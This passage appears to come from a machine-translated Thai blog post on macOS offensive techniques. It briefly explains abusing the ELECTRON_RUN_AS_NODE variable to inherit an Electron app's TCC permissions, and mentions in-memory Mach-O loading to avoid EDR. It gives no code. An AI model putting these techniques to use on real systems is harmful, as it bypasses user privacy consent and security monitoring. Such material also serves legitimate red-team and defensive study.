อีกรูปแบบหนึ่งของการฉีดโค้ดที่ไม่ ได้กล่าวถึงก่อนหน้านี้คือ “การจี้อิเล็กตรอน” ซึ่ง Adam Chester กล่าวถึงในบล็อก นี้อย่างครอบคลุม โดยพื้นฐานแล้ว คุณสามารถใช้ประโยชน์จากELECTRON_RUN_AS_NODEตัวแปรสภาพแวดล้อมเพื่อวางกระบวนการในฐานะลูกของแอพอิเล็กตรอน และเนื่องจากกระบวนการลูกสืบทอดการอนุญาต TCC ของพาเรนต์ คุณจึงอาจได้รับสิทธิ์จากพวกเขา

กำลังโหลด Mach-O ในหน่วยความจำ

แม้จะไม่จำเป็นอย่างแน่นอนกับสถานะปัจจุบันของ macOS EDR แต่ก็เป็นไปได้ที่จะเรียกใช้ Mach-Os ในหน่วยความจำ API ที่ใช้ในการโหลดในหน่วยความจำจะแตกต่างกันไปตามเวอร์ชันของระบบปฏิบัติการ ดังนั้นฉันจะไม่กล่าวถึงเรื่องนี้ แต่ขอแนะนำให้ตรวจสอบ โพส ต์ของ Justin Buiและโพสต์ของ Adam Chester